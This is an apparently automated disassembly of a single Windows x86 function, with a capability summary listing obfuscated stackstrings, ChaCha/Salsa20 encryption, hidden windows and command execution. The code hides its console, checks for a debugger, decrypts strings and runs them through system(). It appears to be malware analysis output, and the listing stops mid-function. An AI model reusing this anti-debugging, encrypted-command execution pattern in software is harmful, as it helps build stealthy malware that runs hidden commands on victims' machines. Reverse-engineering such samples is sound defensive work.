Function at 0x402fd0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Encrypt data using salsa20 or chacha
Execute command
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x268
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x264], eax
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call fcn.00402be0
test al, al
jne 0x40301c
call fcn.00402cc0
test al, al
jne 0x40301c
call fcn.00402f80
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x403022
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
mov ecx, 0x14
mov dword [esp + 0x1d0], 0x30
mov esi, 0x4083e0
mov dword [esp + 0x1d4], 0x30
lea edi, [esp + 0xd0]
mov dword [esp + 0x1e8], 0x46b5a
rep movsd dword es:[edi], dword [esi]
xorps xmm0, xmm0
mov dword [esp + 0x1ec], 0x527e9
movlpd qword [esp + 0x1a0], xmm0
mov eax, 1
movlpd qword [esp + 0x1a8], xmm0
movsw word es:[edi], word [esi]
movlpd qword [esp + 0x1b0], xmm0
movlpd qword [esp + 0x1b8], xmm0
movlpd qword [esp + 0x1c4], xmm0
movaps xmm0, xmmword [0x4085f0]
movups xmmword [esp + 0x1d8], xmm0
movsb byte es:[edi], byte [esi]
movaps xmm2, xmmword [esp + 0x1e0]
movaps xmm1, xmmword [esp + 0x1d0]
mov dword [esp + 0x1cc], 0
mov dword [esp + 0x7c], eax
mov dword [esp + 0x21c], 2
mov dword [esp + 0x220], 0xbc91
mov dword [esp + 0x3c], 0
nop word [eax + eax]
movq xmm0, qword [esp + 0x21c]
mov dword [esp + 0x1c0], eax
movq qword [esp + 0x1c4], xmm0
mov dword [esp + 0x190], 0x61707865
mov dword [esp + 0x194], 0x3320646e
mov dword [esp + 0x198], 0x79622d32
mov dword [esp + 0x19c], 0x6b206574
movaps xmm0, xmmword [esp + 0x190]
mov dword [esp + 0x1cc], 0x17920
movaps xmmword [esp + 0x150], xmm0
movaps xmm0, xmmword [esp + 0x1c0]
movaps xmmword [esp + 0x180], xmm0
mov eax, dword [esp + 0x18c]
mov edx, dword [esp + 0x180]
mov dword [esp + 0x98], eax
mov eax, dword [esp + 0x188]
mov dword [esp + 0x58], eax
mov eax, dword [esp + 0x184]
movaps xmmword [esp + 0x160], xmm1
mov edi, dword [esp + 0x164]
mov dword [esp + 0x48], eax
mov eax, dword [esp + 0x16c]
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x168]
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x160]
movaps xmmword [esp + 0x1a0], xmm1
movaps xmmword [esp + 0x1b0], xmm2
movaps xmmword [esp + 0x170], xmm2
mov dword [esp + 0x50], 0xa
mov dword [esp + 0x40], edi
mov dword [esp + 0x10], eax
nop
add eax, dword [esp + 0x150]
xor edx, eax
mov esi, dword [esp + 0x170]
mov ecx, edx
shl edx, 0x10
shr ecx, 0x10
or ecx, edx
mov edx, dword [esp + 0x10]
add esi, ecx
xor edx, esi
mov dword [esp + 0x10], edx
shl dword [esp + 0x10], 0xc
shr edx, 0x14
or edx, dword [esp + 0x10]
add eax, edx
mov dword [esp + 0x10], eax
xor eax, ecx
mov ecx, eax
shl eax, 8
shr ecx, 0x18
or ecx, eax
mov dword [esp + 0xa0], ecx
lea eax, [ecx + esi]
mov esi, dword [esp + 0x154]
mov dword [esp + 0xc0], eax
add esi, edi
xor eax, edx
mov edi, dword [esp + 0x174]
mov ecx, eax
shl eax, 7
shr ecx, 0x19
or ecx, eax
mov eax, esi
xor eax, dword [esp + 0x48]
mov dword [esp + 0xc8], ecx
mov ecx, eax
shl eax, 0x10
shr ecx, 0x10
or ecx, eax
mov eax, dword [esp + 0x40]
add edi, ecx
xor eax, edi
mov edx, eax
shl eax, 0xc
shr edx, 0x14
or edx, eax
lea eax, [esi + edx]
mov esi, dword [esp + 0x20]
add esi, dword [esp + 0x158]
mov dword [esp + 0xb0], eax
xor eax, ecx
mov ecx, eax
shl eax, 8
shr ecx, 0x18
or ecx, eax
mov dword [esp + 0xbc], ecx
lea eax, [ecx + edi]
mov edi, dword [esp + 0x178]
mov dword [esp + 0x60], eax
xor eax, edx
mov ecx, eax
shl eax, 7
shr ecx, 0x19
or ecx, eax
mov eax, esi
xor eax, dword [esp + 0x58]
mov dword [esp + 0x48], ecx
mov ecx, eax
shl eax, 0x10
shr ecx, 0x10
or ecx, eax
mov eax, dword [esp + 0x20]
add edi, ecx
xor eax, edi
mov edx, eax
shl eax, 0xc
shr edx, 0x14
or edx, eax
lea eax, [esi + edx]
mov dword [esp + 0xb8], eax
xor eax, ecx
mov ecx, eax
mov esi, dword [esp + 0x38]
shl eax, 8
add esi, dword [esp + 0x15c]
shr ecx, 0x18
or ecx, eax
mov dword [esp + 0xcc], ecx
lea eax, [ecx + edi]
mov edi, dword [esp + 0x17c]
mov dword [esp + 0x58], eax
xor eax, edx
mov ecx, eax
shl eax, 7
shr ecx, 0x19
or ecx, eax
mov eax, esi
xor eax, dword [esp + 0x98]
mov dword [esp + 0x20], ecx
mov ecx, eax
shl eax, 0x10
shr ecx, 0x10
or ecx, eax
mov eax, dword [esp + 0x38]
add edi, ecx
xor eax, edi
mov edx, eax
shl eax, 0xc
shr edx, 0x14
or edx, eax
lea eax, [esi + edx]
mov esi, dword [esp + 0x58]
mov dword [esp + 0xc4], eax
xor eax, ecx
mov ecx, eax
shl eax, 8
shr ecx, 0x18
or ecx, eax
lea eax, [ecx + edi]
mov dword [esp + 0x38], eax
xor eax, edx
mov edx, eax
shl eax, 7
shr edx, 0x19
or edx, eax
mov dword [esp + 0xb4], edx
mov edx, dword [esp + 0x10]
add edx, dword [esp + 0x48]
mov eax, edx
xor eax, ecx
mov ecx, eax
shl eax, 0x10
shr ecx, 0x10
or ecx, eax
add esi, ecx
mov eax, esi
xor eax, dword [esp + 0x48]
mov edi, eax
shl eax, 0xc
shr edi, 0x14
or edi, eax
lea eax, [edi + edx]
mov dword [esp + 0x150], eax
xor eax, ecx
mov ecx, eax
shl eax, 8
shr ecx, 0x18
or ecx, eax
mov dword [esp + 0x98], ecx
mov dword [esp + 0x18c], ecx
lea eax, [ecx + esi]
mov ecx, dword [esp + 0xb0]
add ecx, dword [esp + 0x20]
mov dword [esp + 0x178], eax
xor eax, edi
ror eax, 0x19
mov dword [esp + 0x40], eax
mov dword [esp + 0x164], eax
mov eax, dword [esp + 0xa0]
xor eax, ecx
mov edi, eax
shr edi, 0x10
shl eax, 0x10
or edi, eax
mov edx, dword [esp + 0x38]
add edx, edi
mov eax, edx
xor eax, dword [esp + 0x20]
mov esi, eax
shl eax, 0xc
shr esi, 0x14
or esi, eax
lea eax, [esi + ecx]
mov ecx, dword [esp + 0xb8]
xor edi, eax
mov dword [esp + 0x154], eax
add ecx, dword [esp + 0xb4]
mov eax, edi
shr eax, 0x18
shl edi, 8
or eax, edi
mov dword [esp + 0xa0], eax
mov dword [esp + 0x180], eax
add eax, edx
mov dword [esp + 0x17c], eax
xor eax, esi
ror eax, 0x19
mov edx, dword [esp + 0xc0]
mov dword [esp + 0x20], eax
mov dword [esp + 0x168], eax
mov eax, dword [esp + 0xbc]
xor eax, ecx
mov edi, eax
shl eax, 0x10
shr edi, 0x10
or edi, eax
add edx, edi
mov eax, edx
xor eax, dword [esp + 0xb4]
mov esi, eax
shl eax, 0xc
shr esi, 0x14
or esi, eax
lea eax, [esi + ecx]
mov ecx, dword [esp + 0xc4]
xor edi, eax
add ecx, dword [esp + 0xc8]
mov dword [esp + 0x158], eax
mov eax, edi
shr eax, 0x18
shl edi, 8
or eax, edi
mov dword [esp + 0x48], eax
mov dword [esp + 0x184], eax
add eax, edx
mov edx, dword [esp + 0x60]
mov dword [esp + 0x170], eax
xor eax, esi
ror eax, 0x19
mov dword [esp + 0x38], eax
mov dword [esp + 0x16c], eax
mov eax, dword [esp + 0xcc]
xor eax, ecx
mov edi, eax
shl eax, 0x10
shr edi, 0x10
or edi, eax
add edx, edi
mov eax, edx
xor eax, dword [esp + 0xc8]
mov esi, eax
shl eax, 0xc
shr esi, 0x14
or esi, eax
lea eax, [esi + ecx]
xor edi, eax
mov dword [esp + 0x15c], eax
mov eax, edi
shl edi, 8
shr eax, 0x18
or eax, edi
mov dword [esp + 0x58], eax
mov dword [esp + 0x188], eax
mov edi, dword [esp + 0x40]
add eax, edx
mov edx, dword [esp + 0xa0]
mov dword [esp + 0x174], eax
xor eax, esi
ror eax, 0x19
sub dword [esp + 0x50], 1
mov dword [esp + 0x10], eax
mov dword [esp + 0x160], eax
jne 0x4031e0
xor ecx, ecx
nop dword [eax + eax]
mov eax, dword [esp + ecx + 0x150]
add dword [esp + ecx + 0x190], eax
mov eax, dword [esp + ecx + 0x154]
add dword [esp + ecx + 0x194], eax
mov eax, dword [esp + ecx + 0x158]
add dword [esp + ecx + 0x198], eax
mov eax, dword [esp + ecx + 0x15c]
add dword [esp + ecx + 0x19c], eax
add ecx, 0x10
cmp ecx, 0x40
jb 0x403560
push 0x40
lea eax, [esp + 0x22c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor eax, eax
nop word [eax + eax]
movzx ecx, byte [esp + eax + 0x190]
mov byte [esp + eax + 0x228], cl
movzx ecx, byte [esp + eax + 0x191]
mov byte [esp + eax + 0x229], cl
movzx ecx, byte [esp + eax + 0x192]
mov byte [esp + eax + 0x22a], cl
movzx ecx, byte [esp + eax + 0x193]
mov byte [esp + eax + 0x22b], cl
add eax, 4
cmp eax, 0x40
jb 0x4035c0
mov edi, dword [esp + 0x3c]
mov esi, 0x53
sub esi, edi
xor ecx, ecx
cmp esi, 0x40
jae 0x40361c
test esi, esi
je 0x403642
jmp 0x403621
mov esi, 0x40
lea edx, [esp + 0xd0]
add edx, edi
nop word [eax + eax]
mov al, byte [esp + ecx + 0x228]
lea edx, [edx + 1]
xor byte [edx - 1], al
inc ecx
cmp ecx, esi
jb 0x403630
mov eax, dword [esp + 0x7c]
add edi, 0x40
movaps xmm1, xmmword [esp + 0x1d0]
inc eax
movaps xmm2, xmmword [esp + 0x1e0]
mov dword [esp + 0x7c], eax
mov dword [esp + 0x3c], edi
cmp edi, 0x53
jb 0x4030f0
lea eax, [esp + 0xd0]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x408520]
mov eax, 1
mov dword [esp + 0x1d4], 0x30
mov dword [esp + 0x1d8], 0x30
add esp, 4
movups xmmword [esp + 0xd0], xmm0
mov dword [esp + 0x1e8], 0x46b5a
movups xmm0, xmmword [0x408530]
mov dword [esp + 0x1ec], 0x527e9
mov dword [esp + 0x1cc], 0
movups xmmword [esp + 0xe0], xmm0
mov dword [esp + 0x20], eax
movups xmm0, xmmword [0x408540]
mov dword [esp + 0x21c], 2
mov dword [esp + 0x220], 0xbc91
movups xmmword [esp + 0xf0], xmm0
mov dword [esp + 0x38], 0
movups xmm0, xmmword [0x408550]
movups xmmword [esp + 0x100], xmm0
movq xmm0, qword [0x408560]
movq qword [esp + 0x110], xmm0
xorps xmm0, xmm0
movlpd qword [esp + 0x1a0], xmm0
movlpd qword [esp + 0x1a8], xmm0
movlpd qword [esp + 0x1b0], xmm0
movlpd qword [esp + 0x1b8], xmm0
movlpd qword [esp + 0x1c4], xmm0
movaps xmm0, xmmword [0x4085f0]
movups xmmword [esp + 0x1d8], xmm0
movaps xmm2, xmmword [esp + 0x1e0]
movaps xmm1, xmmword [esp + 0x1d0]
nop word [eax + eax]
movq xmm0, qword [esp + 0x21c]
mov dword [esp + 0x1c0], eax
movq qword [esp + 0x1c4], xmm0
mov dword [esp + 0x190], 0x61707865
mov dword [esp + 0x194], 0x3320646e
mov dword [esp + 0x198], 0x79622d32
mov dword [esp + 0x19c], 0x6b206574
movaps xmm0, xmmword [esp + 0x190]
mov dword [esp + 0x1cc], 0x17920
movaps xmmword [esp + 0x150], xmm0
movaps xmm0, xmmword [esp + 0x1c0]
movaps xmmword [esp + 0x180], xmm0
mov eax, dword [esp + 0x18c]
movaps xmmword [esp + 0x160], xmm1
mov ecx, dword [esp + 0x16c]
mov edx, dword [esp + 0x160]
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x188]
mov dword [esp + 0x48], ecx
mov ecx, dword [esp + 0x168]
mov dword [esp + 0x98], eax
mov eax, dword [esp + 0x184]
mov dword [esp + 0x50], ecx
mov ecx, dword [esp + 0x164]
mov dword [esp + 0x58], eax
mov eax, dword [esp + 0x180]
movaps xmmword [esp + 0x1a0], xmm1
movaps xmmword [esp + 0x1b0], xmm2
movaps xmmword [esp + 0x170], xmm2
mov dword [esp + 0x40], 0xa
mov dword [esp + 0x7c], ecx
nop dword [eax + eax]
mov esi, dword [esp + 0x150]
mov edi, dword [esp + 0x170]
add esi, edx
xor eax, esi
mov ecx, eax
shl eax, 0x10
shr ecx, 0x10
or ecx, eax
add edi, ecx
mov eax, edi
xor eax, edx
mov edx, eax
shl eax, 0xc
shr edx, 0x14
or edx, eax
lea eax, [edx + esi]
mov esi, dword [esp + 0x154]
mov dword [esp + 0x60], eax
xor eax, ecx
mov ecx, eax
add esi, dword [esp + 0x7c]
shl eax, 8
shr ecx, 0x18
or ecx, eax
mov dword [esp + 0xc4], ecx
lea eax, [ecx + edi]
mov edi, dword [esp + 0x174]
mov dword [esp + 0xb4], eax
xor eax, edx
mov ecx, eax
shl eax, 7
shr ecx, 0x19
or ecx, eax
mov eax, dword [esp + 0x58]
xor eax, esi
mov dword [esp + 0xb0], ecx
mov ecx, eax
shl eax, 0x10
shr ecx, 0x10
or ecx, eax
add edi, ecx
mov eax, edi
xor eax, dword [esp + 0x7c]
mov edx, eax
shl eax, 0xc
shr edx, 0x14
or edx, eax
lea eax, [edx + esi]
mov esi, dword [esp + 0x158]
add esi, dword [esp + 0x50]
mov dword [esp + 0xc8], eax
xor eax, ecx
mov ecx, eax
shl eax, 8
shr ecx, 0x18
or ecx, eax
mov dword [esp + 0xb8], ecx
lea eax, [ecx + edi]
mov edi, dword [esp + 0x178]
mov dword [esp + 0x80], eax
xor eax, edx
mov ecx, eax
shl eax, 7
shr ecx, 0x19
or ecx, eax
mov eax, dword [esp + 0x98]
xor eax, esi
mov dword [esp + 0x10], ecx
mov ecx, eax
shl eax, 0x10
shr ecx, 0x10
or ecx, eax
add edi, ecx
mov eax, edi
xor eax, dword [esp + 0x50]
mov edx, eax
shl eax, 0xc
shr edx, 0x14
or edx, eax
lea eax, [edx + esi]
mov dword [esp + 0xbc], eax
xor eax, ecx
mov esi, dword [esp + 0x15c]
mov ecx, eax
add esi, dword [esp + 0x48]
shl eax, 8
shr ecx, 0x18
or ecx, eax
mov dword [esp + 0x98], ecx
lea eax, [ecx + edi]
mov edi, dword [esp + 0x17c]
mov dword [esp + 0xcc], eax
xor eax, edx
mov ecx, eax
shl eax, 7
shr ecx, 0x19
or ecx, eax
mov eax, dword [esp + 0x3c]
xor eax, esi
mov dword [esp + 0x50], ecx
mov ecx, eax
shl eax, 0x10
shr ecx, 0x10
or ecx, eax
add edi, ecx
mov eax, edi
xor eax, dword [esp + 0x48]
mov edx, eax
shl eax, 0xc
shr edx, 0x14
or edx, eax
lea eax, [edx + esi]
mov dword [esp + 0xa0], eax
xor eax, ecx
mov esi, eax
shl eax, 8
shr esi, 0x18
or esi, eax
add edi, esi
mov eax, edi
xor eax, edx
mov edx, dword [esp + 0xcc]
mov ecx, eax
shl eax, 7
shr ecx, 0x19
or ecx, eax
mov eax, dword [esp + 0x10]
add eax, dword [esp + 0x60]
xor esi, eax
mov dword [esp + 0xc0], ecx
mov ecx, esi
shl esi, 0x10
shr ecx, 0x10
or ecx, esi
mov esi, dword [esp + 0x10]
add edx, ecx
xor esi, edx
mov dword [esp + 0x10], esi
shl dword [esp + 0x10], 0xc
shr esi, 0x14
or esi, dword [esp + 0x10]
add eax, esi
mov dword [esp + 0x150], eax
xor eax, ecx
mov ecx, eax
shl eax, 8
shr ecx, 0x18
or ecx, eax
mov dword [esp + 0x3c], ecx
mov dword [esp + 0x18c], ecx
lea eax, [ecx + edx]
mov edx, dword [esp + 0xc4]
mov dword [esp + 0x178], eax
xor eax, esi
ror eax, 0x19
mov dword [esp + 0x7c], eax
mov dword [esp + 0x164], eax
mov eax, dword [esp + 0x50]
add eax, dword [esp + 0xc8]
xor edx, eax
mov ecx, edx
shr ecx, 0x10
shl edx, 0x10
or ecx, edx
lea edx, [edi + ecx]
mov edi, dword [esp + 0x50]
xor edi, edx
mov esi, edi
shl edi, 0xc
shr esi, 0x14
or esi, edi
add eax, esi
mov dword [esp + 0x154], eax
xor eax, ecx
mov ecx, eax
shl eax, 8
shr ecx, 0x18
or ecx, eax
mov dword [esp + 0x60], ecx
mov dword [esp + 0x180], ecx
lea eax, [ecx + edx]
mov ecx, dword [esp + 0xbc]
add ecx, dword [esp + 0xc0]
mov dword [esp + 0x17c], eax
xor eax, esi
mov esi, dword [esp + 0xb4]
ror eax, 0x19
mov dword [esp + 0x50], eax
mov dword [esp + 0x168], eax
mov eax, dword [esp + 0xb8]
xor eax, ecx
mov edx, eax
shl eax, 0x10
shr edx, 0x10
or edx, eax
add esi, edx
mov eax, esi
xor eax, dword [esp + 0xc0]
mov edi, eax
shl eax, 0xc
shr edi, 0x14
or edi, eax
lea eax, [ecx + edi]
mov dword [esp + 0x158], eax
xor eax, edx
mov edx, dword [esp + 0x98]
mov ecx, eax
shl eax, 8
shr ecx, 0x18
or ecx, eax
mov dword [esp + 0x58], ecx
mov dword [esp + 0x184], ecx
lea eax, [ecx + esi]
mov dword [esp + 0x170], eax
xor eax, edi
mov edi, dword [esp + 0xb0]
ror eax, 0x19
mov dword [esp + 0x48], eax
mov dword [esp + 0x16c], eax
mov eax, dword [esp + 0xa0]
add eax, edi
xor edx, eax
mov ecx, edx
shl edx, 0x10
shr ecx, 0x10
or ecx, edx
mov edx, dword [esp + 0x80]
add edx, ecx
xor edi, edx
mov esi, edi
shl edi, 0xc
shr esi, 0x14
or esi, edi
add eax, esi
mov dword [esp + 0x15c], eax
xor eax, ecx
mov ecx, eax
shl eax, 8
shr ecx, 0x18
or ecx, eax
mov dword [esp + 0x98], ecx
mov dword [esp + 0x188], ecx
lea eax, [ecx + edx]
mov edx, eax
mov dword [esp + 0x174], eax
mov eax, dword [esp + 0x60]
xor edx, esi
ror edx, 0x19
sub dword [esp + 0x40], 1
jne 0x403870
mov dword [esp + 0x160], edx
xor ecx, ecx
mov eax, dword [esp + ecx + 0x150]
add dword [esp + ecx + 0x190], eax
mov eax, dword [esp + ecx + 0x154]
add dword [esp + ecx + 0x194], eax
mov eax, dword [esp + ecx + 0x158]
add dword [esp + ecx + 0x198], eax
mov eax, dword [esp + ecx + 0x15c]
add dword [esp + ecx + 0x19c], eax
add ecx, 0x10
cmp ecx, 0x40
jb 0x403be1
push 0x40
lea eax, [esp + 0x22c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor ecx, ecx
nop word [eax + eax]
mov al, byte [esp + ecx + 0x190]
mov byte [esp + ecx + 0x228], al
mov al, byte [esp + ecx + 0x191]
mov byte [esp + ecx + 0x229], al
mov al, byte [esp + ecx + 0x192]
mov byte [esp + ecx + 0x22a], al
mov al, byte [esp + ecx + 0x193]
mov byte [esp + ecx + 0x22b], al
add ecx, 4
cmp ecx, 0x40
jb 0x403c40
mov edi, dword [esp + 0x38]
mov esi, 0x48
sub esi, edi
xor ecx, ecx
cmp esi, 0x40
jae 0x403c98
test esi, esi
je 0x403cc2
jmp 0x403c9d
mov esi, 0x40
lea edx, [esp + 0xd0]
add edx, edi
nop word [eax + eax]
mov al, byte [esp + ecx + 0x228]
lea edx, [edx + 1]
xor byte [edx - 1], al
inc ecx
cmp ecx, esi
jb 0x403cb0
mov eax, dword [esp + 0x20]
add edi, 0x40
movaps xmm1, xmmword [esp + 0x1d0]
inc eax
movaps xmm2, xmmword [esp + 0x1e0]
mov dword [esp + 0x20], eax
mov dword [esp + 0x38], edi
cmp edi, 0x48
jb 0x403780
lea eax, [esp + 0xd0]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x4085c0]
mov eax, dword [0x4085e0]
add esp, 4
mov dword [esp + 0x21c], 2
movups xmmword [esp + 0x150], xmm0
mov dword [esp + 0x220], 0xbc91
movups xmm0, xmmword [0x4085d0]
mov dword [esp + 0x1d0], 0x30
mov dword [esp + 0x1d4], 0x30
movups xmmword [esp + 0x160], xmm0
mov dword [esp + 0x190], 0x61707865
xorps xmm0, xmm0
mov dword [esp + 0x194], 0x3320646e
movlpd qword [esp + 0x1a0], xmm0
movlpd qword [esp + 0x1a8], xmm0
movlpd qword [esp + 0x1b0], xmm0
movlpd qword [esp + 0x1b8], xmm0
movlpd qword [esp + 0x1c4], xmm0
movaps xmm0, xmmword [0x4085f0]
movups xmmword [esp + 0x1d8], xmm0
mov dword [esp + 0x198], 0x79622d32
movq xmm0, qword [esp + 0x21c]
movups xmm2, xmmword [esp + 0x1d0]
mov dword [esp + 0x19c], 0x6b206574
movq qword [esp + 0x1c4], xmm0
movaps xmm0, xmmword [esp + 0x190]
mov dword [esp + 0x170], eax
mov dword [esp + 0x1cc], 0
mov dword [esp + 0x1c0], 1
mov dword [esp + 0x1cc], 0x17920
movaps xmmword [esp + 0x1d0], xmm0
movaps xmm0, xmmword [esp + 0x1c0]
movaps xmmword [esp + 0x200], xmm0
mov eax, dword [esp + 0x20c]
mov edi, dword [esp + 0x208]
mov edx, dword [esp + 0x200]
mov dword [esp + 0x7c], eax
mov eax, dword [esp + 0x204]
mov dword [esp + 0x1e8], 0x46b5a
mov dword [esp + 0x1ec], 0x527e9
movups xmm1, xmmword [esp + 0x1e0]
mov dword [esp + 0x3c], eax
movaps xmmword [esp + 0x1e0], xmm2
mov eax, dword [esp + 0x1ec]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x1e8]
mov dword [esp + 0x40], eax
mov eax, dword [esp + 0x1e4]
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x1e0]
movaps xmmword [esp + 0x1a0], xmm2
movaps xmmword [esp + 0x1b0], xmm1
movaps xmmword [esp + 0x1f0], xmm1
mov dword [esp + 0x50], 0xa
mov dword [esp + 0x20], eax
nop
add eax, dword [esp + 0x1d0]
xor edx, eax
mov esi, dword [esp + 0x1f0]
mov ecx, edx
shl edx, 0x10
shr ecx, 0x10
or ecx, edx
mov edx, dword [esp + 0x20]
add esi, ecx
xor edx, esi
mov dword [esp + 0x20], edx
shl dword [esp + 0x20], 0xc
shr edx, 0x14
or edx, dword [esp + 0x20]
add eax, edx
mov dword [esp + 0x80], eax
xor eax, ecx
mov ecx, eax
shl eax, 8
shr ecx, 0x18
or ecx, eax
mov dword [esp + 0xc8], ecx
lea eax, [ecx + esi]
mov esi, dword [esp + 0x1f4]
mov dword [esp + 0xb4], eax
xor eax, edx
mov edx, dword [esp + 0x3c]
mov ecx, eax
shr ecx, 0x19
shl eax, 7
or ecx, eax
mov eax, dword [esp + 0x38]
add eax, dword [esp + 0x1d4]
xor edx, eax
mov dword [esp + 0xb0], ecx
mov ecx, edx
shl edx, 0x10
shr ecx, 0x10
or ecx, edx
mov edx, dword [esp + 0x38]
add esi, ecx
xor edx, esi
mov dword [esp + 0x38], edx
shl dword [esp + 0x38], 0xc
shr edx, 0x14
or edx, dword [esp + 0x38]
add eax, edx
mov dword [esp + 0xcc], eax
xor eax, ecx
mov ecx, eax
shl eax, 8
shr ecx, 0x18
or ecx, eax
mov dword [esp + 0xb8], ecx
lea eax, [ecx + esi]
mov esi, dword [esp + 0x1f8]
mov dword [esp + 0x48], eax
xor eax, edx
mov ecx, eax
shl eax, 7
shr ecx, 0x19
or ecx, eax
mov eax, dword [esp + 0x40]
add eax, dword [esp + 0x1d8]
xor edi, eax
mov dword [esp + 0x3c], ecx
mov ecx, edi
shl edi, 0x10
shr ecx, 0x10
or ecx, edi
mov edi, dword [esp + 0x40]
add esi, ecx
xor edi, esi
mov edx, edi
shl edi, 0xc
shr edx, 0x14
or edx, edi
add eax, edx
mov dword [esp + 0xbc], eax
xor eax, ecx
mov ecx, eax
shl eax, 8
shr ecx, 0x18
or ecx, eax
mov dword [esp + 0x58], ecx
lea edi, [ecx + esi]
mov esi, dword [esp + 0x1fc]
mov eax, edi
xor eax, edx
mov edx, dword [esp + 0x7c]
mov ecx, eax
shl eax, 7
shr ecx, 0x19
or ecx, eax
mov eax, dword [esp + 0x10]
add eax, dword [esp + 0x1dc]
xor edx, eax
mov dword [esp + 0x60], ecx
mov ecx, edx
shl edx, 0x10
shr ecx, 0x10
or ecx, edx
mov edx, dword [esp + 0x10]
add esi, ecx
xor edx, esi
mov dword [esp + 0x10], edx
shl dword [esp + 0x10], 0xc
shr edx, 0x14
or edx, dword [esp + 0x10]
add eax, edx
mov dword [esp + 0xa0], eax
xor eax, ecx
mov ecx, eax
shl eax, 8
shr ecx, 0x18
or ecx, eax
lea eax, [ecx + esi]
mov dword [esp + 0xc4], eax
xor eax, edx
mov edx, eax
shl eax, 7
shr edx, 0x19
or edx, eax
mov dword [esp + 0xc0], edx
mov edx, dword [esp + 0x80]
add edx, dword [esp + 0x3c]
mov eax, edx
xor eax, ecx
mov ecx, eax
shl eax, 0x10
shr ecx, 0x10
or ecx, eax
lea esi, [ecx + edi]
mov eax, esi
xor eax, dword [esp + 0x3c]
mov edi, eax
shl eax, 0xc
shr edi, 0x14
or edi, eax
lea eax, [edi + edx]
mov dword [esp + 0x1d0], eax
xor eax, ecx
mov ecx, eax
shl eax, 8
shr ecx, 0x18
or ecx, eax
mov dword [esp + 0x7c], ecx
mov dword [esp + 0x20c], ecx
lea eax, [ecx + esi]
mov ecx, dword [esp + 0xcc]
add ecx, dword [esp + 0x60]
mov dword [esp + 0x1f8], eax
xor eax, edi
ror eax, 0x19
mov dword [esp + 0x38], eax
mov dword [esp + 0x1e4], eax
mov eax, ecx
xor eax, dword [esp + 0xc8]
mov edi, eax
shl eax, 0x10
shr edi, 0x10
or edi, eax
mov edx, dword [esp + 0xc4]
add edx, edi
mov eax, edx
xor eax, dword [esp + 0x60]
mov esi, eax
shl eax, 0xc
shr esi, 0x14
or esi, eax
lea eax, [esi + ecx]
mov ecx, dword [esp + 0xbc]
xor edi, eax
mov dword [esp + 0x1d4], eax
add ecx, dword [esp + 0xc0]
mov eax, edi
shr eax, 0x18
shl edi, 8
or eax, edi
mov dword [esp + 0x60], eax
mov dword [esp + 0x200], eax
add eax, edx
mov dword [esp + 0x1fc], eax
xor eax, esi
ror eax, 0x19
mov dword [esp + 0x40], eax
mov dword [esp + 0x1e8], eax
mov eax, ecx
xor eax, dword [esp + 0xb8]
mov edx, dword [esp + 0xb4]
mov edi, eax
shl eax, 0x10
shr edi, 0x10
or edi, eax
add edx, edi
mov eax, edx
xor eax, dword [esp + 0xc0]
mov esi, eax
shl eax, 0xc
shr esi, 0x14
or esi, eax
lea eax, [esi + ecx]
mov ecx, dword [esp + 0xa0]
xor edi, eax
add ecx, dword [esp + 0xb0]
mov dword [esp + 0x1d8], eax
mov eax, edi
shr eax, 0x18
shl edi, 8
or eax, edi
mov dword [esp + 0x3c], eax
mov dword [esp + 0x204], eax
add eax, edx
mov edx, dword [esp + 0x48]
mov dword [esp + 0x1f0], eax
xor eax, esi
ror eax, 0x19
mov dword [esp + 0x10], eax
mov dword [esp + 0x1ec], eax
mov eax, ecx
xor eax, dword [esp + 0x58]
mov edi, eax
shl eax, 0x10
shr edi, 0x10
or edi, eax
add edx, edi
mov eax, edx
xor eax, dword [esp + 0xb0]
mov esi, eax
shl eax, 0xc
shr esi, 0x14
or esi, eax
lea eax, [esi + ecx]
xor edi, eax
mov dword [esp + 0x1dc], eax
mov eax, edi
shl edi, 8
shr eax, 0x18
or eax, edi
mov edi, eax
mov dword [esp + 0x80], eax
mov dword [esp + 0x208], edi
lea eax, [edi + edx]
mov edx, dword [esp + 0x60]
mov dword [esp + 0x1f4], eax
xor eax, esi
ror eax, 0x19
sub dword [esp + 0x50], 1
mov dword [esp + 0x20], eax
mov dword [esp + 0x1e0], eax
jne 0x403eb0
xor ecx, ecx
nop dword [eax]
mov eax, dword [esp + ecx + 0x1d0]
add dword [esp + ecx + 0x190], eax
mov eax, dword [esp + ecx + 0x1d4]
add dword [esp + ecx + 0x194], eax
mov eax, dword [esp + ecx + 0x1d8]
add dword [esp + ecx + 0x198], eax
mov eax, dword [esp + ecx + 0x1dc]
add dword [esp + ecx + 0x19c], eax
add ecx, 0x10
cmp ecx, 0x40
jb 0x404230
push 0x40
lea eax, [esp + 0x22c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor ecx, ecx
nop word [eax + eax]
mov al, byte [esp + ecx + 0x190]
mov byte [esp + ecx + 0x228], al
mov al, byte [esp + ecx + 0x191]
mov byte [esp + ecx + 0x229], al
mov al, byte [esp + ecx + 0x192]
mov byte [esp + ecx + 0x22a], al
mov al, byte [esp + ecx + 0x193]
mov byte [esp + ecx + 0x22b], al
add ecx, 4
cmp ecx, 0x40
jb 0x404290
xor ecx, ecx
lea edx, [esp + 0x150]
nop dword [eax]
mov al, byte [esp + ecx + 0x228]
lea edx, [edx + 1]
xor byte [edx - 1], al
inc ecx
cmp ecx, 0x24
jb 0x4042e0
lea eax, [esp + 0x150]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x1d
mov dword [esp + 0x1d4], 0x30
mov esi, 0x4084a8
